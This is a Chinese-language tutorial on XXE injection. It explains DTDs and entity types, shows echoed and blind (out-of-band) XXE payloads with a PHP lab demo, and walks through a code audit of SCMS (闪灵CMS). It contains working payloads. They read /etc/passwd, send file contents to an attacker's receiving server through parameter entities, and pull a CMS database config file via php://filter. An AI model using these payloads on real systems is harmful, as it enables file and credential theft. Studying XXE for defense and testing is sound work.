0x01. 漏洞原理
XXE(XML外部实体注入,XML External Entity) :在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、执行系统命令等。
核心是我们输入的代码,会被当做xml的代码执行
0x02.相关概念
DTD
DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:
1、DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
2、DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
3、引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
ENTITY
XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "Hello">
<!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>
2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
<!ENTITY 实体名称 SYSTEM "URI/URL">
如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>
3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">
或者<!ENTITY % 实体名称 SYSTEM "URI">
,这种气势也叫 带外攻击
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
<!ENTITY % remote SYSTEM "http://testtest.com/1.xml">
%dtd;
%send;
]>
evil.dtd 内部的%号要进行实体编码成%
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>" >
%all;
*** 小例子
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///d:/111.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
变量test里面是XML,单独拿出来是这样的:
<!DOCTYPE scan [
<!ENTITY test SYSTEM "file:///d:/111.txt">
]>
<scan>&test;</scan>
然后使用simplexml_load_string将其转化为对象
第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了File协议去读取我的文件
新的问题出现
但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带
新的解决方法
想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)
无回显:
1.php
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "http://10.10.10.88/XXE/test/x2.php?id=147">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
2.php
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
最终会写入生成一个txt文件
1.php是存在漏洞的地方,因为我们肯定是会控制这个传参地方,然后我们控制它,
让它去访问我们的炮台2.php,这时候2.php会记录这个文件,写入本地的当前目录下面
流程如下图
0x03. 实战XXE之代码审计
这边笔者是用到了闪灵CMS来举例,对于XXE,我们一般都是直接搜索函数,而造成XXE的函数
也就只有一个,所以不用去纠结
然而我们可以重点看着几个,因为形成漏洞的前提,就是可以被用户控制参数,如果控制不了
还扯个犊子的漏洞
从这个页面可以看到这边是会走到这个IF语句这边,所以前面我们就不用管了,就直接看需要满足的条件
看到IF语句这边是需要满足两个条件
1、$signature 不等于空
2、$echostr 等于空
通过全局搜索可以知道了 $signature 是一个超全局变量 signature,$echostr也是
然后再看下 file_get_contents() 函数是什么
说明这个函数其实就是把文件中的东西读取出来,那我们就可以利用这个来任意文件读取
由于需要重装,就不细写了,payload如下
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy/PHPTutorial/WWW/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://192.168.43.220/1.xml">
%remote;
%send;
]>
具体其他姿势可参考其他人:https://www.cnblogs.com/backlion/p/9302528.html